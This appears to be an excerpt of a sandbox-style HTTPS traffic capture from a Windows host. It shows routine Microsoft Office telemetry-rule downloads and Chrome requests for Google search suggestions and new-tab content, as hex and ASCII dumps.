2024-11-21 06:10:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:34 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:34 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061034Z-1777c6cb754whff4hC1TEBcd6c00000009ag00000000a9r7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:34 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:34 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:35 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:34 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: e9853744-301e-0099-5ac3-3b6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061034Z-r1d97b99577d6qrbhC1TEBux5s0000000a400000000061gg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:35 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:34 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:35 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061035Z-1777c6cb754wcxkwhC1TEB3c6w0000000amg00000000at8z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:35 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:34 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:35 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e6bcc5b6-c01e-0046-7064-3b2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061035Z-178bfbc474bbbqrhhC1NYCvw74000000013g00000000pr8t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:35 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49833	142.250.184.228	443	2920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:36 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 06:10:36 UTC	1367	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:36 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-uOThToKKSuKVF0tOtwYAHg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 06:10:36 UTC	23	IN	Data Raw: 63 38 65 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 75 70 65 72 20 6d Data Ascii: c8e)]}'["",["super m
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 69 63 72 6f 20 63 6f 6d 70 75 74 65 72 20 6e 61 73 64 61 71 20 63 6f 6d 70 6c 69 61 6e 63 65 22 2c 22 69 6e 64 69 61 6e 61 20 70 61 63 65 72 73 20 76 73 20 68 6f 75 73 74 6f 6e 20 72 6f 63 6b 65 74 73 22 2c 22 77 61 74 63 68 20 79 65 6c 6c 6f 77 73 74 6f 6e 65 20 73 65 61 73 6f 6e 20 35 22 2c 22 79 6f 75 74 75 62 65 20 72 65 63 61 70 20 32 30 32 34 20 67 61 6d 69 6e 67 22 2c 22 63 61 72 6c 6f 20 61 63 75 74 69 73 20 63 61 6e 6f 6e 69 7a 61 74 69 6f 6e 22 2c 22 65 6c 74 6f 6e 20 6a 6f 68 6e 20 74 61 6d 6d 79 20 66 61 79 65 20 6d 75 73 69 63 61 6c 22 2c 22 74 61 72 67 65 74 20 73 74 6f 63 6b 20 65 61 72 6e 69 6e 67 73 22 2c 22 68 6f 75 73 74 6f 6e 20 61 73 74 72 6f 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b Data Ascii: icro computer nasdaq compliance","indiana pacers vs houston rockets","watch yellowstone season 5","youtube recap 2024 gaming","carlo acutis canonization","elton john tammy faye musical","target stock earnings","houston astros"],["","","","","","","",""],[
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 46 46 74 63 32 31 75 59 55 4e 48 53 46 52 73 53 57 31 6b 59 6d 68 6c 52 33 55 72 64 57 63 30 52 53 39 56 5a 57 52 33 57 6b 74 4e 62 33 6c 5a 55 33 70 50 54 56 56 5a 4d 6e 4a 51 59 31 70 52 62 57 6c 74 61 6a 46 73 4e 6a 6c 51 63 54 63 31 64 6b 4e 49 52 57 4d 79 59 58 41 30 56 7a 4e 73 55 57 35 4c 52 48 42 47 52 55 56 57 53 33 52 58 54 58 51 78 63 45 30 77 51 55 6f 32 59 33 6c 50 61 47 39 31 52 33 49 76 63 32 68 36 55 48 4e 4d 53 54 42 52 65 54 5a 70 56 6c 64 4f 52 7a 46 47 53 6e 52 4a 4e 56 56 46 52 56 41 32 4d 58 6f 30 61 31 4a 6a 55 6c 70 6e 61 30 63 79 55 46 46 75 54 44 4a 6e 59 6a 68 59 56 54 6c 6c 57 6b 31 6f 57 6a 4d 78 55 47 49 76 4d 6b 52 34 55 54 45 30 63 33 64 59 54 48 4e 42 4e 30 64 36 57 56 46 7a 62 46 59 33 57 6c 56 36 56 54 52 6d 55 44 5a 6a Data Ascii: FFtc21uYUNHSFRsSW1kYmhlR3UrdWc0RS9VZWR3WktNb3lZU3pPTVVZMnJQY1pRbWltajFsNjlQcTc1dkNIRWMyYXA0VzNsUW5LRHBGRUVWS3RXTXQxcE0wQUo2Y3lPaG91R3Ivc2h6UHNMSTBReTZpVldORzFGSnRJNVVFRVA2MXo0a1JjUlpna0cyUFFuTDJnYjhYVTllWk1oWjMxUGIvMkR4UTE0c3dYTHNBN0d6WVFzbFY3WlV6VTRmUDZj
2024-11-21 06:10:36 UTC	418	IN	Data Raw: 30 4b 33 4a 4a 61 45 52 59 53 46 64 4f 56 46 49 30 64 6a 5a 6d 4d 32 70 47 5a 47 5a 49 63 33 59 31 51 6a 46 5a 59 6d 34 78 4b 30 6f 77 4e 6d 67 76 55 55 56 6c 4d 7a 64 52 4f 55 4a 6a 55 6e 6f 34 59 56 51 79 55 56 45 30 62 6b 68 56 5a 6e 6c 50 4d 54 52 57 52 6e 4e 70 54 6d 35 54 65 55 67 7a 62 46 56 47 4f 45 6b 76 4d 30 46 4c 51 6a 52 4b 56 55 4e 6f 64 6e 6c 55 65 56 56 78 61 30 4a 30 61 55 74 4c 51 56 52 50 62 58 56 42 4e 55 4a 70 61 45 68 61 53 32 51 34 63 57 64 49 59 79 39 32 4d 6a 46 59 52 6d 39 43 4e 6d 59 77 4d 6c 46 50 59 53 74 45 57 55 38 30 56 55 74 4c 61 57 38 30 59 56 67 78 53 44 52 68 64 31 4a 56 4e 32 4e 69 64 31 56 42 4c 79 38 7a 4d 6a 6c 32 59 6b 52 6f 64 7a 6c 6d 55 33 64 43 61 6d 64 72 4d 6c 49 7a 64 6c 64 48 5a 30 35 59 65 48 42 6c 65 56 Data Ascii: 0K3JJaERYSFdOVFI0djZmM2pGZGZIc3Y1QjFZYm4xK0owNmgvUUVlMzdROUJjUno4YVQyUVE0bkhVZnlPMTRWRnNpTm5TeUgzbFVGOEkvM0FLQjRKVUNodnlUeVVxa0J0aUtLQVRPbXVBNUJpaEhaS2Q4cWdIYy92MjFYRm9CNmYwMlFPYStEWU80VUtLaW80YVgxSDRhd1JVN2Nid1VBLy8zMjl2YkRodzlmU3dCamdrMlIzdldHZ05YeHBleV
2024-11-21 06:10:36 UTC	92	IN	Data Raw: 35 36 0d 0a 34 55 30 74 53 4e 55 6c 6a 51 53 39 35 65 56 51 31 65 45 56 42 64 56 56 35 61 32 6b 78 55 33 56 51 62 7a 52 46 64 30 70 6a 51 32 39 4d 55 6d 64 59 54 6d 31 30 57 45 74 55 65 54 51 79 54 48 46 75 62 33 41 78 52 46 68 56 52 7a 42 51 65 48 4a 79 4b 7a 45 31 4e 0d 0a Data Ascii: 564U0tSNUljQS95eVQ1eEVBdVV5a2kxU3VQbzRFd0pjQ29MUmdYTm10WEtUeTQyTHFub3AxRFhVRzBQeHJyKzE1N
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 36 38 38 0d 0a 31 4d 35 64 6b 46 4e 52 47 5a 78 4e 6a 4e 54 4e 79 73 31 62 45 31 55 4d 48 45 31 4d 7a 56 53 65 6d 38 7a 4e 6a 56 32 63 7a 5a 50 54 44 5a 77 56 47 70 4b 63 47 39 6a 5a 6d 78 6d 51 33 4a 4d 4b 32 4a 74 52 31 56 32 5a 55 52 70 53 46 64 78 4e 32 30 72 4f 54 46 47 51 32 4e 36 63 45 39 58 51 6d 67 7a 53 6b 56 52 53 55 46 30 64 58 46 59 65 6a 41 33 55 6d 74 53 4e 6a 46 30 54 56 64 54 56 6b 55 79 4d 54 64 30 65 47 30 77 56 6c 4a 69 65 57 49 35 4b 79 38 76 4e 7a 6c 6c 4e 54 64 75 54 6e 63 78 64 45 52 36 4c 33 63 34 64 6a 4e 6d 63 55 64 35 63 54 46 57 63 6e 64 76 52 33 6c 78 52 44 6c 78 4e 6c 64 47 53 7a 42 6b 5a 6b 77 79 56 7a 6c 30 52 6c 5a 4f 5a 57 68 6e 4d 6e 55 32 56 47 73 34 4f 57 39 33 4d 6d 68 6f 63 6d 49 72 57 55 64 59 5a 44 46 31 64 55 77 Data Ascii: 6881M5dkFNRGZxNjNTNys1bE1UMHE1MzVSem8zNjV2czZPTDZwVGpKcG9jZmxmQ3JMK2JtR1V2ZURpSFdxN20rOTFGQ2N6cE9XQmgzSkVRSUF0dXFYejA3UmtSNjF0TVdTVkUyMTd0eG0wVlJieWI5Ky8vNzllNTduTncxdER6L3c4djNmcUd5cTFWcndvR3lxRDlxNldGSzBkZkwyVzl0RlZOZWhnMnU2VGs4OW93MmhocmIrWUdYZDF1dUw
2024-11-21 06:10:36 UTC	289	IN	Data Raw: 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 Data Ascii: 0002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QU
2024-11-21 06:10:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49829	142.250.184.228	443	2920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:36 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 06:10:36 UTC	1018	IN	HTTP/1.1 200 OK Version: 697903402 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 21 Nov 2024 06:10:36 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 06:10:36 UTC	372	IN	Data Raw: 31 63 37 35 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1c75)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
